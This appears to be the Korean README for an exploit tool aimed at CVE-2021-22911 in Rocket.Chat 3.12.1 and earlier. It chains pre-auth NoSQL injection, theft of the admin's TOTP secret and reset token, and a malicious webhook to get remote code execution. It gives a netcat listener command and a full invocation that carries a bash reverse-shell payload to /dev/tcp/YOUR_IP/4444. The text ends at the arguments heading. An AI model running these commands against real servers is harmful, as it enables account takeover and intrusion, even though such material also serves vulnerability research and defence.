CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (즉석)

설명

Rocket.Chat 3.12.1의 사전 인증(pre-auth) NoSQL 인젝션 취약점을 악용하여 관리자의 TOTP 비밀키와 비밀번호 재설정 토큰을 유출하고, 관리자 계정을 탈취한 뒤 악성 웹훅 통합을 통해 RCE를 달성합니다.

영향받는 버전

Rocket.Chat <= 3.12.1

요구 사항

pip install -r requirements.txt

설정 - 먼저 리스너 시작하기

익스플로잇을 실행하기 전에, 별도의 터미널에서 netcat 리스너를 시작하여 들어오는 리버스 셸을 받으세요:

nc -lvnp 4444

이 터미널을 열어 두세요. 익스플로잇이 성공적으로 실행되면 셸이 여기에 표시됩니다.

사용법

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

인자